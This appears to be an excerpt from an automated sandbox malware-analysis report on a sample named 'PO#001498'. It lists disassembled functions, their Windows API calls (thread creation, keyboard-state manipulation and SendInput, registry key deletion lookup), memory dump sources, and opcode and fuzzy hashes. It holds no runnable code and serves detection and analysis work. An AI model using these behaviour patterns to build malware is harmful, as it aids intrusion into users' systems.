                                                                                                                                                                                                        • __dosmaperr.LIBCMT ref: 004157A9
                                                                                                                                                                                                          • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                                                                          • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Thread$CreateErrorLastResume___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1269668773-0
                                                                                                                                                                                                        • Opcode ID: bb8068f02d799d687f86b9c43e1e9df3108372b57b840b2ce394e22bf251b6d0
                                                                                                                                                                                                        • Instruction ID: 083f1b3d72dc2b4e3073d7627409da2efaae6cca9fbdfa2eb2c15b7cb2a145f7
                                                                                                                                                                                                        • Opcode Fuzzy Hash: bb8068f02d799d687f86b9c43e1e9df3108372b57b840b2ce394e22bf251b6d0
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4511E672501604EFC720AF76DC868DF7BA4EF80334F21412FF525922D1DB788981966D
                                                                                                                                                                                                        Function 00439102 Relevance: 10.5, APIs: 7, Instructions: 46threadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00438FE4: GetProcessHeap.KERNEL32(00000008,0000000C,0043910A,00000000,00000000,00000000,0044646E,?,?,?), ref: 00438FE8
                                                                                                                                                                                                          • Part of subcall function 00438FE4: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00438FEF
                                                                                                                                                                                                        • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,0044646E,?,?,?), ref: 00439119
                                                                                                                                                                                                        • GetCurrentProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439123
                                                                                                                                                                                                        • DuplicateHandle.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0043912C
                                                                                                                                                                                                        • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00439138
                                                                                                                                                                                                        • GetCurrentProcess.KERNEL32(?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439142
                                                                                                                                                                                                        • DuplicateHandle.KERNEL32(00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00439145
                                                                                                                                                                                                        • CreateThread.KERNEL32(00000000,00000000,004390C2,00000000,00000000,00000000), ref: 0043915E
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1957940570-0
                                                                                                                                                                                                        • Opcode ID: ae016cd78919e3da0d3d218cc031d8d4f693afb8d34ff927aa47fd3b6f506194
                                                                                                                                                                                                        • Instruction ID: b388a4287fabc35bf2088fa38ebc9459a42e34e8a642192e1b63b89709cb9be3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ae016cd78919e3da0d3d218cc031d8d4f693afb8d34ff927aa47fd3b6f506194
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3BF0CD753413007BD220EB65DC86F5BB7A8EBC9B10F118919F6049B1D1C6B4A800CB65
                                                                                                                                                                                                        Function 0041568B Relevance: 10.5, APIs: 7, Instructions: 37threadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • ___set_flsgetvalue.LIBCMT ref: 00415690
                                                                                                                                                                                                          • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                                                                                                                          • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                                                                          • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                                                                                                                        • ___fls_getvalue@4.LIBCMT ref: 0041569B
                                                                                                                                                                                                          • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                                                                        • ___fls_setvalue@8.LIBCMT ref: 004156AD
                                                                                                                                                                                                          • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                                                                        • GetLastError.KERNEL32(00000000,?,00000000), ref: 004156B6
                                                                                                                                                                                                        • ExitThread.KERNEL32 ref: 004156BD
                                                                                                                                                                                                        • __freefls@4.LIBCMT ref: 004156D9
                                                                                                                                                                                                        • __IsNonwritableInCurrentImage.LIBCMT ref: 004156EC
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 4166825349-0
                                                                                                                                                                                                        • Opcode ID: 185d0aae8fe32bab84a079219336c355dd614541d1aff55515eff8c05f91681e
                                                                                                                                                                                                        • Instruction ID: 1015f584654e325efa3cacb901eba7c9ae2b5aefa54885f90b4e6d99173acdac
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 185d0aae8fe32bab84a079219336c355dd614541d1aff55515eff8c05f91681e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 14F049745007009BD704BF72DD159DE7B69AF85345761C85FB80897222DA3DC9C1CB9C
                                                                                                                                                                                                        Function 00434124 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • LoadLibraryA.KERNEL32(advapi32.dll,p#D,0043415E,p#D,?,00442370,?), ref: 00434134
                                                                                                                                                                                                        • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00434146
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                        • String ID: RegDeleteKeyExW$advapi32.dll$p#D$p#D
                                                                                                                                                                                                        • API String ID: 2574300362-3261711971
                                                                                                                                                                                                        • Opcode ID: 3da92f374f37a9fa7395fa6ef73d3af1d379715eec5b41da1672ebd70bf57acc
                                                                                                                                                                                                        • Instruction ID: cb82693085896f9455b4638215a98dd7e3cb824177552166877179ce6000b7c2
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3da92f374f37a9fa7395fa6ef73d3af1d379715eec5b41da1672ebd70bf57acc
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D8D05EB0400B039FCB105F24D8086AB76F4EB68700F208C2EF989A3750C7B8E8C0CB68
                                                                                                                                                                                                        Function 0047B1D0 Relevance: 9.5, APIs: 6, Instructions: 489COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: c82efa3070467c2623ec738b5b2be2cd760763614a3dd1863134219050ad48d5
                                                                                                                                                                                                        • Instruction ID: be39947db1ffbcb7075193c31d102fc15fe4f6af8d23ce90efbce3d2b6a77a88
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c82efa3070467c2623ec738b5b2be2cd760763614a3dd1863134219050ad48d5
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4BF16D71108740AFD210DB59C880EABB7F9EFCA744F10891EF69983261D735AC45CBAA
                                                                                                                                                                                                        Function 004336C7 Relevance: 9.3, APIs: 6, Instructions: 253COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetClientRect.USER32(?,?), ref: 00433724
                                                                                                                                                                                                        • GetWindowRect.USER32(00000000,?), ref: 00433757
                                                                                                                                                                                                        • GetClientRect.USER32(0000001D,?), ref: 004337AC
                                                                                                                                                                                                        • GetSystemMetrics.USER32(0000000F), ref: 00433800
                                                                                                                                                                                                        • GetWindowRect.USER32(?,?), ref: 00433814
                                                                                                                                                                                                        • ScreenToClient.USER32(?,?), ref: 00433842
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Rect$Client$Window$MetricsScreenSystem
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3220332590-0
                                                                                                                                                                                                        • Opcode ID: 3d0204db3781b081fd3de6a8efec2d06c6e501bf89adf1cf9fb69463b8de8f3e
                                                                                                                                                                                                        • Instruction ID: 40e56d112be44df416332e5c874318f33691c6b0c201ea6c9f9086adb5117cf0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3d0204db3781b081fd3de6a8efec2d06c6e501bf89adf1cf9fb69463b8de8f3e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E9A126B42147028AC324CF68C5847ABBBF1FF98715F04991EE9D983360E775E908CB5A
                                                                                                                                                                                                        Function 00457838 Relevance: 9.2, APIs: 6, Instructions: 176COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _malloc_wcslen$_strcat_wcscpy
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1612042205-0
                                                                                                                                                                                                        • Opcode ID: de2929fcda50375e6e5cb9f1075b8832783a078aa1feca3c1cc6154b42d84a61
                                                                                                                                                                                                        • Instruction ID: 39b6431fb86a1cae222df6ecce28f21653e085caad8de22f1e35678e4483a9b6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: de2929fcda50375e6e5cb9f1075b8832783a078aa1feca3c1cc6154b42d84a61
                                                                                                                                                                                                        • Instruction Fuzzy Hash: CD613B70504202EFCB10EF29D58096AB3E5FF48305B50496EF8859B306D738EE59DB9A
                                                                                                                                                                                                        Function 0044C522 Relevance: 9.2, APIs: 6, Instructions: 155windowkeyboardCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetKeyboardState.USER32(?,?,00000001,00000001,?,00000000), ref: 0044C588
                                                                                                                                                                                                        • SetKeyboardState.USER32(00000080), ref: 0044C59B
                                                                                                                                                                                                        • PostMessageW.USER32(?,00000104,?,?), ref: 0044C5EC
                                                                                                                                                                                                        • PostMessageW.USER32(?,00000100,?,?), ref: 0044C610
                                                                                                                                                                                                        • PostMessageW.USER32(?,00000102,?,00000001), ref: 0044C637
                                                                                                                                                                                                        • SendInput.USER32 ref: 0044C6E2
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessagePost$KeyboardState$InputSend
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2221674350-0
                                                                                                                                                                                                        • Opcode ID: 061e63fcf1402e721e52ee56d2f22f81c2cbe03cfd8f861d8ff00d299370d474
                                                                                                                                                                                                        • Instruction ID: 3a634557d1668dba9f4fbb3ffee1259adddcddb7f3fce46f2ce6721246940f3b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 061e63fcf1402e721e52ee56d2f22f81c2cbe03cfd8f861d8ff00d299370d474
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A24148725053486AF760EF209C80BFFBB98EF95324F04151FFDC412281D66E984987BA
                                                                                                                                                                                                        Function 00445153 Relevance: 9.1, APIs: 6, Instructions: 142COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _wcscpy$_wcscat
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2037614760-0
                                                                                                                                                                                                        • Opcode ID: f99e136c889cacb8689bc9f00eee4ad51686cf745bff212a4790763dd87d00cb
                                                                                                                                                                                                        • Instruction ID: 871aa96d6b0d5f43eceffdadd72b032f7becd6ba50fbda5e2bca5dd503650597
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f99e136c889cacb8689bc9f00eee4ad51686cf745bff212a4790763dd87d00cb
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7D41BD31901A256BDE317F55D880BBB7358DFA1314F84006FF98247313EA6E5892C6BE
                                                                                                                                                                                                        Function 00447B66 Relevance: 9.1, APIs: 6, Instructions: 119COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • BeginPaint.USER32(00000000,?,004A83D8,?), ref: 00447B9D
                                                                                                                                                                                                        • GetWindowRect.USER32(?,?), ref: 00447C1B
                                                                                                                                                                                                        • ScreenToClient.USER32(?,?), ref: 00447C39
                                                                                                                                                                                                        • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C4C
                                                                                                                                                                                                        • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447C93
                                                                                                                                                                                                        • EndPaint.USER32(?,?), ref: 00447CD1
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Paint$BeginClientRectRectangleScreenViewportWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 4189319755-0
                                                                                                                                                                                                        • Opcode ID: 37bca05dc5f282a43c1c57c3b808f61ec058395b4d713bcb6da44fc2610780a1
                                                                                                                                                                                                        • Instruction ID: de699fe3e67e71f806f86ee7feca1bcffcb0489daa19151882f3061068cc4b26
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 37bca05dc5f282a43c1c57c3b808f61ec058395b4d713bcb6da44fc2610780a1
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D14182705043019FE320DF15C8C8F7B7BA8EB89724F04466EF9548B391DB74A846CB69
                                                                                                                                                                                                        Function 0044B474 Relevance: 9.1, APIs: 6, Instructions: 113fileCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • InterlockedExchange.KERNEL32(?,000001F5), ref: 0044B490
                                                                                                                                                                                                          • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                        • ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B4C2
                                                                                                                                                                                                        • EnterCriticalSection.KERNEL32(00000000), ref: 0044B4E3
                                                                                                                                                                                                        • LeaveCriticalSection.KERNEL32(00000000), ref: 0044B5A0
                                                                                                                                                                                                        • ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B5BB
                                                                                                                                                                                                          • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                                          • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                                          • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                                        • InterlockedExchange.KERNEL32(?,000001F6), ref: 0044B5D1
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CriticalExchangeFileInterlockedReadSection$EnterException@8LeaveThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1726766782-0
                                                                                                                                                                                                        • Opcode ID: 3a1f833abb26ce593740c71d471a220e6d34013d7717cf1b73c6152b0bb325a5
                                                                                                                                                                                                        • Instruction ID: bf52b5dc2e344941501510e432fc863898df75637e45487ca8cd05157db66b41
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3a1f833abb26ce593740c71d471a220e6d34013d7717cf1b73c6152b0bb325a5
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 09415C75104701AFD320EF26D845EABB3F8EF88708F008E2DF59A92650D774E945CB6A
                                                                                                                                                                                                        Function 00441077 Relevance: 9.1, APIs: 6, Instructions: 111windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • ShowWindow.USER32(?,00000000,?,?,?,?,00448962,004A83D8,?,?), ref: 004410F9
                                                                                                                                                                                                        • EnableWindow.USER32(?,00000000), ref: 0044111A
                                                                                                                                                                                                        • ShowWindow.USER32(?,00000000,?,?,?,?,00448962,004A83D8,?,?), ref: 00441183
                                                                                                                                                                                                        • ShowWindow.USER32(?,00000004,?,?,?,00448962,004A83D8,?,?), ref: 00441192
                                                                                                                                                                                                        • EnableWindow.USER32(?,00000001), ref: 004411B3
                                                                                                                                                                                                        • SendMessageW.USER32(?,0000130C,?,00000000), ref: 004411D5
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$Show$Enable$MessageSend
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 642888154-0
                                                                                                                                                                                                        • Opcode ID: c853c7407bbaf9010c68549c691492fdcd401e5b0cb22aeb5446aebbed6f20c9
                                                                                                                                                                                                        • Instruction ID: 824eeaafe1f931a994963cd163acc5b0ce47b26168a6fd4ee38d593e4569daee
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c853c7407bbaf9010c68549c691492fdcd401e5b0cb22aeb5446aebbed6f20c9
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 14417770604245DFE725CF14C984FA6B7E5BF89300F1886AEE6859B3B2CB74A881CB55
                                                                                                                                                                                                        Function 00449063 Relevance: 9.1, APIs: 6, Instructions: 108windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,00001024,00000000,?), ref: 004490E3
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004490F8
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,0000111E,00000000,?), ref: 0044910D
